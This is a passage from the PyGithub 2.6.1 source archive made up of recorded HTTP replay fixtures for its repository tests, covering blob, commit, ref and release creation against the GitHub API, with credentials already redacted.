API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-11-27T19:00:09Z","pushed_at":"2019-11-27T22:40:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12220,"stargazers_count":3016,"watchers_count":3016,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1001,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1001,"open_issues":57,"watchers":3016,"default_branch":"master"},"network_count":1001,"subscribers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitBlob.txt0000644000175100001660000000152214756101563024443 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/blobs {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"content": "Blob created by PyGithub", "encoding": "latin1"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4997'), ('content-length', '156'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f5cc2fa3ba4de95ac0eb8c2ca47350c0"'), ('date', 'Fri, 11 May 2012 11:43:09 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitCommit.txt0000644000175100001660000000431114756101563025014 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '381'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f33782d7031ff19c5301bb52068533cf"'), ('date', 'Fri, 01 Jun 2012 20:02:40 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528","sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8","size":0,"path":"Barbaz.txt","mode":"100644"}]} https POST api.github.com None /repos/PyGithub/PyGithub/git/commits {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"parents": [], "message": "Commit created by PyGithub", "tree": "107139a922f33bab6fbeb9f9eb8787e7f19e0528"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4931'), ('content-length', '601'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7719e5a3f5b064dc0871853dba33302b"'), ('date', 'Sun, 27 May 2012 05:50:59 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/commits/0b820628236ab8bab3890860fc414fa757ca15f4')] {"author":{"email":"github.com@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-26T22:50:59-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0b820628236ab8bab3890860fc414fa757ca15f4","message":"Commit created by PyGithub","committer":{"email":"github.com@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-26T22:50:59-07:00"},"sha":"0b820628236ab8bab3890860fc414fa757ca15f4","parents":[],"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528","sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitCommitWithAllArguments.txt0000644000175100001660000000461214756101563030173 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '381'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f33782d7031ff19c5301bb52068533cf"'), ('date', 'Fri, 01 Jun 2012 20:02:40 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528","sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8","size":0,"path":"Barbaz.txt","mode":"100644"}]} https POST api.github.com None /repos/PyGithub/PyGithub/git/commits {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"parents": [], "message": "Commit created by PyGithub", "tree": "107139a922f33bab6fbeb9f9eb8787e7f19e0528", "committer": {"date": "2008-07-09T16:13:30+12:00", "name": "John Doe", "email": "j.doe@vincent-jacques.net"}, "author": {"date": "2008-07-09T16:13:30+12:00", "name": "John Doe", "email": "j.doe@vincent-jacques.net"}} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4928'), ('content-length', '577'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"660cc851cdd42a2caa7241cd96db0d01"'), ('date', 'Sun, 27 May 2012 05:53:47 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/commits/526946197ae9da59c6507cacd13ad6f1cfb686ea')] {"author":{"email":"j.doe@vincent-jacques.net","name":"John Doe","date":"2008-07-08T21:13:30-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/526946197ae9da59c6507cacd13ad6f1cfb686ea","message":"Commit created by PyGithub","committer":{"email":"j.doe@vincent-jacques.net","name":"John Doe","date":"2008-07-08T21:13:30-07:00"},"sha":"526946197ae9da59c6507cacd13ad6f1cfb686ea","parents":[],"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/107139a922f33bab6fbeb9f9eb8787e7f19e0528","sha":"107139a922f33bab6fbeb9f9eb8787e7f19e0528"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitCommitWithParents.txt0000644000175100001660000001215714756101563027214 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/git/commits/7248e66831d4ffe09ef1f30a1df59ec0a9331ece {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '762'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0cbf75a2a511c74f3df22dfd8d2ee42a"'), ('date', 'Fri, 01 Jun 2012 18:39:29 GMT'), ('content-type', 'application/json; charset=utf-8')] {"committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-30T09:58:18-07:00","name":"Vincent Jacques"},"message":"Check HTTP status on all requests\n","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/7248e66831d4ffe09ef1f30a1df59ec0a9331ece","sha":"7248e66831d4ffe09ef1f30a1df59ec0a9331ece","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/81ca19a009b54e64226e3f9e51210fba989d5497","sha":"81ca19a009b54e64226e3f9e51210fba989d5497"}],"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/91655d55b309f520fd4b3fd9e5303cfc13855a21","sha":"91655d55b309f520fd4b3fd9e5303cfc13855a21"},"author":{"email":"vincent@vincent-jacques.net","date":"2012-05-30T09:58:18-07:00","name":"Vincent Jacques"}} https GET api.github.com None /repos/PyGithub/PyGithub/git/commits/12d427464f8d91c8e981043a86ba8a2a9e7319ea {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '769'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"87d790f22e47dbaa3148ad7872e32dde"'), ('date', 'Fri, 01 Jun 2012 18:39:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"tree":{"sha":"143dd39e465e5de953d944c9309b961af392da73","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/143dd39e465e5de953d944c9309b961af392da73"},"sha":"12d427464f8d91c8e981043a86ba8a2a9e7319ea","message":"Remove the notion of ImmediateCompletion\n","parents":[{"sha":"7a622975d6a3f0ab80f573f577aa0e3ffb69e2f5","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/7a622975d6a3f0ab80f573f577aa0e3ffb69e2f5"}],"author":{"email":"vincent@vincent-jacques.net","date":"2012-05-30T09:51:36-07:00","name":"Vincent Jacques"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/12d427464f8d91c8e981043a86ba8a2a9e7319ea","committer":{"email":"vincent@vincent-jacques.net","date":"2012-05-30T10:00:37-07:00","name":"Vincent Jacques"}} https GET api.github.com None /repos/PyGithub/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '381'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f33782d7031ff19c5301bb52068533cf"'), ('date', 'Fri, 01 Jun 2012 20:02:40 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b","sha":"fae707821159639589bf94f3fb0a7154ec5d441b","tree":[{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5dd930f591cd5188e9ea7200e308ad355182a1d8","sha":"5dd930f591cd5188e9ea7200e308ad355182a1d8","size":0,"path":"Barbaz.txt","mode":"100644"}]} https POST api.github.com None /repos/PyGithub/PyGithub/git/commits {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"parents": ["7248e66831d4ffe09ef1f30a1df59ec0a9331ece", "12d427464f8d91c8e981043a86ba8a2a9e7319ea"], "message": "Commit created by PyGithub", "tree": "fae707821159639589bf94f3fb0a7154ec5d441b"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4965'), ('content-length', '918'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1ada1e7861f74fa4fefa922bf03e891e"'), ('date', 'Fri, 01 Jun 2012 18:39:31 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/commits/6adf9ea25ff8a8f2a42bcb1c09e42526339037cd')] {"committer":{"email":"github.com@vincent-jacques.net","date":"2012-06-01T11:39:31-07:00","name":"Vincent Jacques"},"message":"Commit created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/6adf9ea25ff8a8f2a42bcb1c09e42526339037cd","sha":"6adf9ea25ff8a8f2a42bcb1c09e42526339037cd","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/7248e66831d4ffe09ef1f30a1df59ec0a9331ece","sha":"7248e66831d4ffe09ef1f30a1df59ec0a9331ece"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/12d427464f8d91c8e981043a86ba8a2a9e7319ea","sha":"12d427464f8d91c8e981043a86ba8a2a9e7319ea"}],"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fae707821159639589bf94f3fb0a7154ec5d441b","sha":"fae707821159639589bf94f3fb0a7154ec5d441b"},"author":{"email":"github.com@vincent-jacques.net","date":"2012-06-01T11:39:31-07:00","name":"Vincent Jacques"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitRef.txt0000644000175100001660000000201614756101563024300 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/git/refs {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"sha": "4303c5b90e2216d927155e9609436ccb8984c495", "ref": "refs/heads/BranchCreatedByPyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4987'), ('content-length', '322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0302e489fc6bd534afa44cdbec1227e7"'), ('date', 'Thu, 10 May 2012 18:49:19 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/BranchCreatedByPyGithub')] {"object":{"type":"commit","sha":"4303c5b90e2216d927155e9609436ccb8984c495","url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495"},"ref":"refs/heads/BranchCreatedByPyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs/heads/BranchCreatedByPyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitRelease.txt0000644000175100001660000000630114756101563025145 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/releases {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "This release is created by PyGithub", "prerelease": false, "generate_release_notes": false, "tag_name": "vX.Y.Z-by-PyGithub-acctest", "draft": false, "name": "vX.Y.Z: PyGithub acctest", "make_latest": "true"} 201 [('content-length', '1656'), ('x-runtime-rack', '0.601694'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"64c4aea05900ae1072ee705caf9b529c"'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/releases/7636454'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4951'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '92E2:1D39A:50FE29C:5DF3D65:59AE9019'), ('date', 'Tue, 05 Sep 2017 11:52:58 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/7636454","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/7636454/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/7636454/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/vX.Y.Z-by-PyGithub-acctest","id":7636454,"tag_name":"vX.Y.Z-by-PyGithub-acctest","target_commitish":"master","name":"vX.Y.Z: PyGithub acctest","draft":false,"author":{"login":"jacquev6","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2016-10-29T02:39:27Z","published_at":"2017-09-05T11:52:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest","body":"This release is created by PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitReleaseGenerateReleaseNotes.txt0000644000175100001660000000630114756101563031132 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/releases {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"prerelease": false, "generate_release_notes": true, "tag_name": "vX.Y.Z-by-PyGithub-acctest-release-notes", "draft": false, "make_latest": "true"} 201 [('content-length', '1656'), ('x-runtime-rack', '0.601694'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"64c4aea05900ae1072ee705caf9b529c"'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/releases/7636454'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4951'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '92E2:1D39A:50FE29C:5DF3D65:59AE9019'), ('date', 'Tue, 05 Sep 2017 11:52:58 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/7636454","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/7636454/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/7636454/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/vX.Y.Z-by-PyGithub-acctest-release-notes","id":7636454,"tag_name":"vX.Y.Z-by-PyGithub-acctest-release-notes","target_commitish":"master","name":"vX.Y.Z: PyGithub acctest-release-notes","draft":false,"author":{"login":"jacquev6","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2016-10-29T02:39:27Z","published_at":"2017-09-05T11:52:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest-release-notes","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest-release-notes","body":"This release is created by PyGithub"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateGitReleaseWithAllArguments.txt0000644000175100001660000006070714756101563030332 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/releases {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"tag_name": "vX.Y.Z-by-PyGithub-acctest2", "draft": false, "prerelease": true, "generate_release_notes": false, "name": "vX.Y.Z: PyGithub acctest2", "body": "This release is also created by PyGithub", "target_commitish": "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc", "make_latest": "true"} 201 [('content-length', '1699'), ('x-runtime-rack', '0.625656'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"a640b19b9bc4596ddf16593f4d811ee0"'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/releases/7636488'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4945'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '958E:1D39A:510378D:5DF9FCA:59AE9091'), ('date', 'Tue, 05 Sep 2017 11:54:58 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/7636488","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/7636488/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/7636488/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/vX.Y.Z-by-PyGithub-acctest2","id":7636488,"tag_name":"vX.Y.Z-by-PyGithub-acctest2","target_commitish":"da9a285fd8b782461e56cba39ae8d2fa41ca7cdc","name":"vX.Y.Z: PyGithub acctest2","draft":false,"author":{"login":"jacquev6","id":3760893,"avatar_url":"https://avatars2.githubusercontent.com/u/3760893?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"prerelease":true,"created_at":"2017-09-05T11:35:41Z","published_at":"2017-09-05T11:54:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest2","body":"This release is also created by PyGithub"} https GET api.github.com None /repos/PyGithub/PyGithub/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '10153'), ('x-runtime-rack', '0.083151'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"66e56bae266aa8b7261d366dde7aa4e1"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4944'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '67C6:1D38C:206196:260F56:59AE9092'), ('last-modified', 'Sun, 27 Nov 2016 13:31:42 GMT'), ('link', '; rel="next", ; rel="last"'), ('date', 'Tue, 05 Sep 2017 11:54:59 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1504614271')] [{"name":"vX.Y.Z-by-PyGithub-acctest2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest2","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest2","commit":{"sha":"da9a285fd8b782461e56cba39ae8d2fa41ca7cdc","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/da9a285fd8b782461e56cba39ae8d2fa41ca7cdc"}},{"name":"vX.Y.Z-by-PyGithub-acctest","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/vX.Y.Z-by-PyGithub-acctest","tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/vX.Y.Z-by-PyGithub-acctest","commit":{"sha":"a7eb09af049dbcc0d1c71b92abe3b71022b90eb9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a7eb09af049dbcc0d1c71b92abe3b71022b90eb9"}},{"name":"v2.0.0-alpha.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v2.0.0-alpha.4","tarball_url":"https://api.github.co